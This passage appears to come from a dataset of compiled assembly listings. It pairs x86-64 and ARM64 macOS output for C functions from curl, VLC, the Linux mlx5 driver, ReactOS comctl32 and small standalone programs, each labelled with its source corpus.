add w0, w8, w9, asr #6
bl _cpu_to_le16
ldr x8, [x20]
ldr x8, [x8]
add x8, x8, x22
str x0, [x8, #24]
ldr x8, [x19, #8]
add x8, x8, x21
ldrsw x8, [x8, #8]
smull x8, w8, w24
lsr x9, x8, #32
lsr x8, x8, #63
add w0, w8, w9, asr #6
bl _cpu_to_le16
ldr x8, [x20]
ldr x8, [x8]
add x8, x8, x22
str x0, [x8, #16]
ldr x8, [x19, #8]
add x8, x8, x21
ldrsw x8, [x8, #12]
smull x8, w8, w24
lsr x9, x8, #32
lsr x8, x8, #63
add w0, w8, w9, asr #6
bl _cpu_to_le16
ldr x9, [x20]
ldr x8, [x9]
add x8, x8, x22
str x0, [x8, #8]
ldr x8, [x19, #8]
add x10, x8, x21
ldr x10, [x10, #16]
ldr x9, [x9]
str x10, [x9, x22]
add x23, x23, #1
ldrsw x9, [x19, #4]
add x22, x22, #40
add x21, x21, #24
cmp x23, x9
b.lo LBB0_9
LBB0_10:
mov w0, #0 ; =0x0
LBB0_11:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
ldp x24, x23, [sp], #64 ; 16-byte Folded Reload
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.cfi_endproc
; -- End function
.comm _EINVAL,4,2 ; @EINVAL
.subsections_via_symbols
| assembly_file_132927.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.globl _Curl_build_unencoding_stack ## -- Begin function Curl_build_unencoding_stack
.p2align 4, 0x90
_Curl_build_unencoding_stack: ## @Curl_build_unencoding_stack
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $24, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %edx, -52(%rbp) ## 4-byte Spill
movq %rsi, %r12
movq %rdi, -48(%rbp) ## 8-byte Spill
movq (%rdi), %rbx
movzbl (%rsi), %eax
jmp LBB0_3
.p2align 4, 0x90
LBB0_1: ## in Loop: Header=BB0_3 Depth=1
movq _TRUE@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, 8(%rbx)
movq -48(%rbp), %rdi ## 8-byte Reload
callq _Curl_httpchunk_init
LBB0_2: ## in Loop: Header=BB0_3 Depth=1
movzbl (%r12), %eax
testb %al, %al
je LBB0_20
LBB0_3: ## =>This Loop Header: Depth=1
## Child Loop BB0_4 Depth 2
## Child Loop BB0_7 Depth 2
movsbl %al, %edi
callq _ISSPACE
movq %r12, %r13
testq %rax, %rax
je LBB0_6
.p2align 4, 0x90
LBB0_4: ## Parent Loop BB0_3 Depth=1
## => This Inner Loop Header: Depth=2
cmpb $44, (%r13)
jne LBB0_6
## %bb.5: ## in Loop: Header=BB0_4 Depth=2
movsbl 1(%r13), %edi
incq %r13
callq _ISSPACE
testq %rax, %rax
jne LBB0_4
LBB0_6: ## in Loop: Header=BB0_3 Depth=1
movl $1, %r14d
movq %r13, %r12
xorl %r15d, %r15d
.p2align 4, 0x90
LBB0_7: ## Parent Loop BB0_3 Depth=1
## => This Inner Loop Header: Depth=2
movzbl (%r12), %eax
testl %eax, %eax
je LBB0_10
## %bb.8: ## in Loop: Header=BB0_7 Depth=2
cmpl $44, %eax
je LBB0_10
## %bb.9: ## in Loop: Header=BB0_7 Depth=2
movsbl %al, %edi
callq _ISSPACE
testq %rax, %rax
cmoveq %r14, %r15
incq %r12
incq %r14
jmp LBB0_7
.p2align 4, 0x90
LBB0_10: ## in Loop: Header=BB0_3 Depth=1
cmpl $0, -52(%rbp) ## 4-byte Folded Reload
je LBB0_13
## %bb.11: ## in Loop: Header=BB0_3 Depth=1
cmpq $7, %r15
jne LBB0_13
## %bb.12: ## in Loop: Header=BB0_3 Depth=1
movq %r13, %rdi
leaq L_.str(%rip), %rsi
movl $7, %edx
callq _strncasecompare
testq %rax, %rax
jne LBB0_1
jmp LBB0_14
.p2align 4, 0x90
LBB0_13: ## in Loop: Header=BB0_3 Depth=1
testq %r15, %r15
je LBB0_2
LBB0_14: ## in Loop: Header=BB0_3 Depth=1
movq %r13, %rdi
movq %r15, %rsi
callq _find_encoding
movq (%rbx), %rdx
testq %rdx, %rdx
jne LBB0_16
## %bb.15: ## in Loop: Header=BB0_3 Depth=1
movq -48(%rbp), %rdi ## 8-byte Reload
movq _client_encoding@GOTPCREL(%rip), %rsi
xorl %edx, %edx
movq %rax, %r14
callq _new_unencoding_writer
movq %rax, %rdx
movq %r14, %rax
movq %rdx, (%rbx)
testq %rdx, %rdx
je LBB0_22
LBB0_16: ## in Loop: Header=BB0_3 Depth=1
testq %rax, %rax
jne LBB0_18
## %bb.17: ## in Loop: Header=BB0_3 Depth=1
movq _error_encoding@GOTPCREL(%rip), %rax
LBB0_18: ## in Loop: Header=BB0_3 Depth=1
movq -48(%rbp), %rdi ## 8-byte Reload
movq %rax, %rsi
callq _new_unencoding_writer
testq %rax, %rax
je LBB0_22
## %bb.19: ## in Loop: Header=BB0_3 Depth=1
movq %rax, (%rbx)
jmp LBB0_2
LBB0_20:
movq _CURLE_OK@GOTPCREL(%rip), %rax
jmp LBB0_23
LBB0_22:
movq _CURLE_OUT_OF_MEMORY@GOTPCREL(%rip), %rax
LBB0_23:
movl (%rax), %eax
addq $24, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "chunked"
.comm _TRUE,4,2 ## @TRUE
.comm _client_encoding,4,2 ## @client_encoding
.comm _CURLE_OUT_OF_MEMORY,4,2 ## @CURLE_OUT_OF_MEMORY
.comm _error_encoding,4,2 ## @error_encoding
.comm _CURLE_OK,4,2 ## @CURLE_OK
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.globl _Curl_build_unencoding_stack ; -- Begin function Curl_build_unencoding_stack
.p2align 2
_Curl_build_unencoding_stack: ; @Curl_build_unencoding_stack
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill
stp x26, x25, [sp, #16] ; 16-byte Folded Spill
stp x24, x23, [sp, #32] ; 16-byte Folded Spill
stp x22, x21, [sp, #48] ; 16-byte Folded Spill
stp x20, x19, [sp, #64] ; 16-byte Folded Spill
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
mov x19, x2
mov x20, x1
mov x21, x0
ldr x26, [x0]
ldrb w8, [x1]
Lloh0:
adrp x22, l_.str@PAGE
Lloh1:
add x22, x22, l_.str@PAGEOFF
Lloh2:
adrp x27, _TRUE@GOTPAGE
Lloh3:
ldr x27, [x27, _TRUE@GOTPAGEOFF]
Lloh4:
adrp x25, _CURLE_OUT_OF_MEMORY@GOTPAGE
Lloh5:
ldr x25, [x25, _CURLE_OUT_OF_MEMORY@GOTPAGEOFF]
Lloh6:
adrp x28, _error_encoding@GOTPAGE
Lloh7:
ldr x28, [x28, _error_encoding@GOTPAGEOFF]
b LBB0_3
LBB0_1: ; in Loop: Header=BB0_3 Depth=1
ldr w8, [x27]
str w8, [x26, #8]
mov x0, x21
bl _Curl_httpchunk_init
LBB0_2: ; in Loop: Header=BB0_3 Depth=1
add x20, x20, x23
ldrb w8, [x20]
cbz w8, LBB0_17
LBB0_3: ; =>This Loop Header: Depth=1
; Child Loop BB0_4 Depth 2
; Child Loop BB0_7 Depth 2
sxtb w0, w8
bl _ISSPACE
cbz x0, LBB0_6
LBB0_4: ; Parent Loop BB0_3 Depth=1
; => This Inner Loop Header: Depth=2
ldrb w8, [x20]
cmp w8, #44
b.ne LBB0_6
; %bb.5: ; in Loop: Header=BB0_4 Depth=2
ldrsb w0, [x20, #1]!
bl _ISSPACE
cbnz x0, LBB0_4
LBB0_6: ; in Loop: Header=BB0_3 Depth=1
mov x23, #0 ; =0x0
mov x24, #0 ; =0x0
ldrb w8, [x20, x23]
cbz w8, LBB0_9
LBB0_7: ; Parent Loop BB0_3 Depth=1
; => This Inner Loop Header: Depth=2
cmp w8, #44
b.eq LBB0_9
; %bb.8: ; in Loop: Header=BB0_7 Depth=2
sxtb w0, w8
bl _ISSPACE
cmp x0, #0
csinc x24, x24, x23, ne
add x23, x23, #1
ldrb w8, [x20, x23]
cbnz w8, LBB0_7
LBB0_9: ; in Loop: Header=BB0_3 Depth=1
cbz w19, LBB0_12
; %bb.10: ; in Loop: Header=BB0_3 Depth=1
cmp x24, #7
b.ne LBB0_12
; %bb.11: ; in Loop: Header=BB0_3 Depth=1
mov x0, x20
mov x1, x22
mov w2, #7 ; =0x7
bl _strncasecompare
cbnz x0, LBB0_1
b LBB0_13
LBB0_12: ; in Loop: Header=BB0_3 Depth=1
cbz x24, LBB0_2
LBB0_13: ; in Loop: Header=BB0_3 Depth=1
mov x0, x20
mov x1, x24
bl _find_encoding
ldr x2, [x26]
cbnz x2, LBB0_15
; %bb.14: ; in Loop: Header=BB0_3 Depth=1
mov x24, x0
mov x0, x21
Lloh8:
adrp x1, _client_encoding@GOTPAGE
Lloh9:
ldr x1, [x1, _client_encoding@GOTPAGEOFF]
bl _new_unencoding_writer
mov x2, x0
mov x0, x24
str x2, [x26]
cbz x2, LBB0_18
LBB0_15: ; in Loop: Header=BB0_3 Depth=1
cmp x0, #0
csel x1, x28, x0, eq
mov x0, x21
bl _new_unencoding_writer
cbz x0, LBB0_18
; %bb.16: ; in Loop: Header=BB0_3 Depth=1
str x0, [x26]
b LBB0_2
LBB0_17:
Lloh10:
adrp x25, _CURLE_OK@GOTPAGE
Lloh11:
ldr x25, [x25, _CURLE_OK@GOTPAGEOFF]
LBB0_18:
ldr w0, [x25]
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
ldp x20, x19, [sp, #64] ; 16-byte Folded Reload
ldp x22, x21, [sp, #48] ; 16-byte Folded Reload
ldp x24, x23, [sp, #32] ; 16-byte Folded Reload
ldp x26, x25, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #96 ; 16-byte Folded Reload
ret
.loh AdrpLdrGot Lloh6, Lloh7
.loh AdrpLdrGot Lloh4, Lloh5
.loh AdrpLdrGot Lloh2, Lloh3
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpLdrGot Lloh8, Lloh9
.loh AdrpLdrGot Lloh10, Lloh11
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "chunked"
.comm _TRUE,4,2 ; @TRUE
.comm _client_encoding,4,2 ; @client_encoding
.comm _CURLE_OUT_OF_MEMORY,4,2 ; @CURLE_OUT_OF_MEMORY
.comm _error_encoding,4,2 ; @error_encoding
.comm _CURLE_OK,4,2 ; @CURLE_OK
.subsections_via_symbols
| assembly_file_49309.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function set_ascii_prop
_set_ascii_prop: ## @set_ascii_prop
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rcx, %r8
movl %edx, %ecx
movq _XA_STRING@GOTPCREL(%rip), %rax
movl (%rax), %edx
popq %rbp
jmp _set_string ## TAILCALL
.cfi_endproc
## -- End function
.comm _XA_STRING,4,2 ## @XA_STRING
.no_dead_strip _set_ascii_prop
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function set_ascii_prop
_set_ascii_prop: ; @set_ascii_prop
.cfi_startproc
; %bb.0:
mov x4, x3
mov x3, x2
Lloh0:
adrp x8, _XA_STRING@GOTPAGE
Lloh1:
ldr x8, [x8, _XA_STRING@GOTPAGEOFF]
Lloh2:
ldr w2, [x8]
b _set_string
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _XA_STRING,4,2 ; @XA_STRING
.no_dead_strip _set_ascii_prop
.subsections_via_symbols
| AnghaBench/vlc/modules/video_output/xcb/extr_window.c_set_ascii_prop.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _mlx5_ec_cleanup ## -- Begin function mlx5_ec_cleanup
.p2align 4, 0x90
_mlx5_ec_cleanup: ## @mlx5_ec_cleanup
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rdi, %rbx
callq _mlx5_core_is_ecpf
testl %eax, %eax
je LBB0_1
## %bb.2:
movq %rbx, %rdi
addq $8, %rsp
popq %rbx
popq %rbp
jmp _mlx5_peer_pf_cleanup ## TAILCALL
LBB0_1:
addq $8, %rsp
popq %rbx
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _mlx5_ec_cleanup ; -- Begin function mlx5_ec_cleanup
.p2align 2
_mlx5_ec_cleanup: ; @mlx5_ec_cleanup
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
bl _mlx5_core_is_ecpf
cbz w0, LBB0_2
; %bb.1:
mov x0, x19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _mlx5_peer_pf_cleanup
LBB0_2:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/linux/drivers/net/ethernet/mellanox/mlx5/core/extr_ecpf.c_mlx5_ec_cleanup.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function MONTHCAL_GetDayPos
_MONTHCAL_GetDayPos: ## @MONTHCAL_GetDayPos
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $40, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %r8, %r13
movq %rcx, -56(%rbp) ## 8-byte Spill
movq %rdx, -48(%rbp) ## 8-byte Spill
movq %rsi, %r12
movq %rdi, %rbx
movq 8(%rdi), %rax
leaq (%r8,%r8,2), %r14
movq (%rax,%r14,4), %rcx
movq %rcx, -72(%rbp)
movl 8(%rax,%r14,4), %eax
movl %eax, -64(%rbp)
movl $1, -72(%rbp)
movq _FALSE@GOTPCREL(%rip), %rax
movl (%rax), %esi
leaq -72(%rbp), %rdi
callq _MONTHCAL_CalculateDayOfWeek
## kill: def $eax killed $eax def $rax
movl (%rbx), %ecx
movl %eax, %edx
subl %ecx, %edx
negl %ecx
addl %ecx, %eax
addl $6, %eax
cltq
imulq $-1840700269, %rax, %rax ## imm = 0x92492493
shrq $32, %rax
addl %edx, %eax
addl $6, %eax
movl %eax, %ecx
shrl $31, %ecx
sarl $2, %eax
addl %ecx, %eax
leal (,%rax,8), %ecx
subl %ecx, %eax
addl %edx, %eax
addl $6, %eax
movslq %eax, %r15
testq %r13, %r13
je LBB0_3
## %bb.1:
movq %rbx, %rdi
callq _MONTHCAL_GetCalCount
decl %eax
cltq
cmpq %r13, %rax
jne LBB0_2
LBB0_3:
movq 8(%rbx), %rbx
leaq -72(%rbp), %rsi
movq %r12, %rdi
callq _MONTHCAL_CompareMonths
cmpl $-1, %eax
je LBB0_6
## %bb.4:
cmpl $1, %eax
jne LBB0_2
## %bb.5:
movl 4(%rbx,%r14,4), %esi
movl 8(%rbx,%r14,4), %edi
callq _MONTHCAL_MonthLength
addq %rax, %r15
LBB0_2:
movq -56(%rbp), %rdi ## 8-byte Reload
movq -48(%rbp), %rbx ## 8-byte Reload
movslq (%r12), %rcx
addq %r15, %rcx
movabsq $2635249153387078803, %rdx ## imm = 0x2492492492492493
movq %rcx, %rax
mulq %rdx
movq %rcx, %rax
subq %rdx, %rax
shrq %rax
addq %rdx, %rax
shrq $2, %rax
leaq (,%rax,8), %rdx
movq %rax, %rsi
subq %rdx, %rsi
addq %rcx, %rsi
movq %rsi, (%rbx)
jmp LBB0_7
LBB0_6:
movl 8(%r12), %edi
movl 4(%rbx,%r14,4), %esi
callq _MONTHCAL_MonthLength
subq %rax, %r15
movslq (%r12), %rcx
addq %r15, %rcx
movabsq $2635249153387078803, %rdx ## imm = 0x2492492492492493
movq %rcx, %rax
mulq %rdx
movq %rcx, %rax
subq %rdx, %rax
shrq %rax
addq %rdx, %rax
shrq $2, %rax
leaq (,%rax,8), %rdx
subq %rdx, %rax
addq %rcx, %rax
movq -48(%rbp), %rcx ## 8-byte Reload
movq %rax, (%rcx)
xorl %eax, %eax
movq -56(%rbp), %rdi ## 8-byte Reload
LBB0_7:
movq %rax, (%rdi)
addq $40, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _FALSE,4,2 ## @FALSE
.no_dead_strip _MONTHCAL_GetDayPos
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function MONTHCAL_GetDayPos
_MONTHCAL_GetDayPos: ; @MONTHCAL_GetDayPos
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x24, x23, [sp, #16] ; 16-byte Folded Spill
stp x22, x21, [sp, #32] ; 16-byte Folded Spill
stp x20, x19, [sp, #48] ; 16-byte Folded Spill
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
mov x22, x4
mov x19, x3
mov x20, x2
mov x21, x1
mov x23, x0
ldr x8, [x0, #8]
mov w9, #12
madd x8, x4, x9, x8
ldr w9, [x8, #8]
ldr x8, [x8]
str x8, [sp]
mov w8, #1
str w9, [sp, #8]
str w8, [sp]
Lloh0:
adrp x8, _FALSE@GOTPAGE
Lloh1:
ldr x8, [x8, _FALSE@GOTPAGEOFF]
Lloh2:
ldr w1, [x8]
mov x0, sp
bl _MONTHCAL_CalculateDayOfWeek
ldr w8, [x23]
sub w8, w0, w8
add w8, w8, #6
mov w9, #9363
movk w9, #37449, lsl #16
smull x9, w8, w9
lsr x9, x9, #32
add w9, w9, w8
asr w10, w9, #2
add w9, w10, w9, lsr #31
sub w9, w9, w9, lsl #3
add w8, w8, w9
sxtw x24, w8
cbz x22, LBB0_2
; %bb.1:
mov x0, x23
bl _MONTHCAL_GetCalCount
sub w8, w0, #1
sxtw x8, w8
cmp x8, x22
b.ne LBB0_5
LBB0_2:
ldr x23, [x23, #8]
mov x1, sp
mov x0, x21
bl _MONTHCAL_CompareMonths
cmn w0, #1
b.eq LBB0_6
; %bb.3:
cmp w0, #1
b.ne LBB0_5
; %bb.4:
mov w8, #12
madd x8, x22, x8, x23
ldp w1, w0, [x8, #4]
bl _MONTHCAL_MonthLength
add x24, x0, x24
LBB0_5:
ldrsw x8, [x21]
mov x9, #9363
movk x9, #37449, lsl #16
movk x9, #18724, lsl #32
movk x9, #9362, lsl #48
add x10, x24, x8
umulh x8, x10, x9
sub x9, x10, x8
add x8, x8, x9, lsr #1
lsr x8, x8, #2
sub x9, x8, x8, lsl #3
add x9, x10, x9
b LBB0_7
LBB0_6:
ldr w0, [x21, #8]
mov w8, #12
madd x8, x22, x8, x23
ldr w1, [x8, #4]
bl _MONTHCAL_MonthLength
mov x8, #0
ldrsw x9, [x21]
sub x10, x24, x0
add x9, x10, x9
mov x10, #9363
movk x10, #37449, lsl #16
movk x10, #18724, lsl #32
movk x10, #9362, lsl #48
umulh x10, x9, x10
sub x11, x9, x10
add x10, x10, x11, lsr #1
lsr x10, x10, #2
sub x10, x10, x10, lsl #3
add x9, x9, x10
LBB0_7:
str x9, [x20]
str x8, [x19]
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
ldp x20, x19, [sp, #48] ; 16-byte Folded Reload
ldp x22, x21, [sp, #32] ; 16-byte Folded Reload
ldp x24, x23, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #80
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _FALSE,4,2 ; @FALSE
.no_dead_strip _MONTHCAL_GetDayPos
.subsections_via_symbols
| AnghaBench/reactos/dll/win32/comctl32/extr_monthcal.c_MONTHCAL_GetDayPos.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function series_sum
LCPI0_0:
.quad 0x3ff0000000000000 ## double 1
LCPI0_1:
.quad 0x4010000000000000 ## double 4
.section __TEXT,__text,regular,pure_instructions
.globl _series_sum
.p2align 4, 0x90
_series_sum: ## @series_sum
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movq %rdi, %rbx
movl $50, %edi
callq _malloc
movq %rax, %r14
testq %rax, %rax
je LBB0_10
## %bb.1:
xorpd %xmm0, %xmm0
testq %rbx, %rbx
je LBB0_3
## %bb.2:
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
LBB0_3:
cmpq $2, %rbx
jb LBB0_9
## %bb.4:
leaq -1(%rbx), %rax
cmpq $2, %rbx
jne LBB0_11
## %bb.5:
movsd LCPI0_1(%rip), %xmm1 ## xmm1 = mem[0],zero
testb $1, %al
jne LBB0_8
jmp LBB0_9
LBB0_11:
movq %rax, %rdx
andq $-2, %rdx
movl $7, %ecx
movsd LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero
.p2align 4, 0x90
LBB0_12: ## =>This Inner Loop Header: Depth=1
leal -3(%rcx), %esi
xorps %xmm2, %xmm2
cvtsi2sd %esi, %xmm2
movapd %xmm1, %xmm3
divsd %xmm2, %xmm3
addsd %xmm0, %xmm3
xorps %xmm2, %xmm2
cvtsi2sd %ecx, %xmm2
movapd %xmm1, %xmm0
divsd %xmm2, %xmm0
addsd %xmm3, %xmm0
addl $6, %ecx
addq $-2, %rdx
jne LBB0_12
## %bb.6:
addl $-3, %ecx
xorps %xmm1, %xmm1
cvtsi2sd %ecx, %xmm1
testb $1, %al
je LBB0_9
LBB0_8:
movsd LCPI0_0(%rip), %xmm2 ## xmm2 = mem[0],zero
divsd %xmm1, %xmm2
addsd %xmm2, %xmm0
LBB0_9:
leaq L_.str(%rip), %rdx
movl $50, %esi
movq %r14, %rdi
movb $1, %al
callq _snprintf
LBB0_10:
movq %r14, %rax
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%.2lf"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal16,16byte_literals
.p2align 4 ; -- Begin function series_sum
lCPI0_0:
.long 1 ; 0x1
.long 2 ; 0x2
.long 3 ; 0x3
.long 4 ; 0x4
.section __TEXT,__text,regular,pure_instructions
.globl _series_sum
.p2align 2
_series_sum: ; @series_sum
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp d9, d8, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset b8, -40
.cfi_offset b9, -48
mov x20, x0
mov w0, #50
bl _malloc
mov x19, x0
cbz x0, LBB0_10
; %bb.1:
cmp x20, #0
fmov d0, #1.00000000
movi d1, #0000000000000000
fcsel d0, d1, d0, eq
cmp x20, #2
b.lo LBB0_9
; %bb.2:
sub x9, x20, #1
cmp x9, #16
b.hs LBB0_4
; %bb.3:
mov w8, #1
b LBB0_7
LBB0_4:
and x10, x9, #0xfffffffffffffff0
movi.4s v1, #3
Lloh0:
adrp x8, lCPI0_0@PAGE
Lloh1:
ldr q2, [x8, lCPI0_0@PAGEOFF]
orr x8, x10, #0x1
movi.4s v3, #1
movi.4s v4, #13
movi.4s v5, #25
movi.4s v6, #37
fmov.2d v7, #1.00000000
mov x11, x10
movi.4s v16, #16
LBB0_5: ; =>This Inner Loop Header: Depth=1
mul.4s v17, v2, v1
add.4s v18, v17, v3
add.4s v19, v17, v4
add.4s v20, v17, v5
add.4s v17, v17, v6
sshll.2d v21, v18, #0
scvtf.2d v21, v21
sshll2.2d v18, v18, #0
scvtf.2d v18, v18
sshll.2d v22, v19, #0
scvtf.2d v22, v22
sshll2.2d v19, v19, #0
scvtf.2d v19, v19
sshll.2d v23, v20, #0
scvtf.2d v23, v23
sshll2.2d v20, v20, #0
scvtf.2d v20, v20
sshll.2d v24, v17, #0
scvtf.2d v24, v24
sshll2.2d v17, v17, #0
scvtf.2d v17, v17
fdiv.2d v18, v7, v18
mov d25, v18[1]
fdiv.2d v21, v7, v21
mov d26, v21[1]
fdiv.2d v19, v7, v19
mov d27, v19[1]
fdiv.2d v22, v7, v22
mov d28, v22[1]
fdiv.2d v20, v7, v20
mov d29, v20[1]
fdiv.2d v23, v7, v23
mov d30, v23[1]
fdiv.2d v17, v7, v17
mov d31, v17[1]
fdiv.2d v24, v7, v24
mov d8, v24[1]
fadd d0, d0, d21
fadd d0, d0, d26
fadd d0, d0, d18
fadd d0, d0, d25
fadd d0, d0, d22
fadd d0, d0, d28
fadd d0, d0, d19
fadd d0, d0, d27
fadd d0, d0, d23
fadd d0, d0, d30
fadd d0, d0, d20
fadd d0, d0, d29
fadd d0, d0, d24
fadd d0, d0, d8
fadd d0, d0, d17
fadd d0, d0, d31
add.4s v2, v2, v16
subs x11, x11, #16
b.ne LBB0_5
; %bb.6:
cmp x9, x10
b.eq LBB0_9
LBB0_7:
add w9, w8, w8, lsl #1
add w9, w9, #1
sub x8, x20, x8
fmov d1, #1.00000000
LBB0_8: ; =>This Inner Loop Header: Depth=1
scvtf d2, w9
fdiv d2, d1, d2
fadd d0, d0, d2
add w9, w9, #3
subs x8, x8, #1
b.ne LBB0_8
LBB0_9:
str d0, [sp]
Lloh2:
adrp x2, l_.str@PAGE
Lloh3:
add x2, x2, l_.str@PAGEOFF
mov x0, x19
mov w1, #50
bl _snprintf
LBB0_10:
mov x0, x19
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp d9, d8, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #64
ret
.loh AdrpLdr Lloh0, Lloh1
.loh AdrpAdd Lloh2, Lloh3
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%.2lf"
.subsections_via_symbols
| the_stack_data/151705645.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function set_pwm_min
_set_pwm_min: ## @set_pwm_min
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $24, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rcx, %r13
movq %rdx, %r15
movq %rdi, %rbx
movq %rsi, %rdi
callq _to_sensor_dev_attr
movq %rax, -56(%rbp) ## 8-byte Spill
movq %rbx, %rdi
callq _to_i2c_client
movq %rax, %r14
movq %rax, %rdi
callq _i2c_get_clientdata
movq %rax, %r12
leaq -48(%rbp), %rdx
movq %r15, %rdi
movl $10, %esi
callq _strict_strtol
